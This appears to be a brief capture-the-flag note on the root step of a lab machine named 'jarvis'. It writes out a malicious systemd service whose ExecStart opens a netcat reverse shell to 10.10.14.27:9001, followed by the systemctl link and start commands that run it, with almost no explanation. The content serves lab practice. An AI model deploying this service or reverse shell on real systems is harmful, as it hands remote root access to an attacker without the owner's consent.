15-Get-Root

Pasted image 20231109174924.png

pepper@jarvis:/dev/shm$ cat hi.service 

[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.27 9001'
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

systemctl link /dev/shm/hi.service
systemctl start hi

Pasted image 20231109175043.png

Root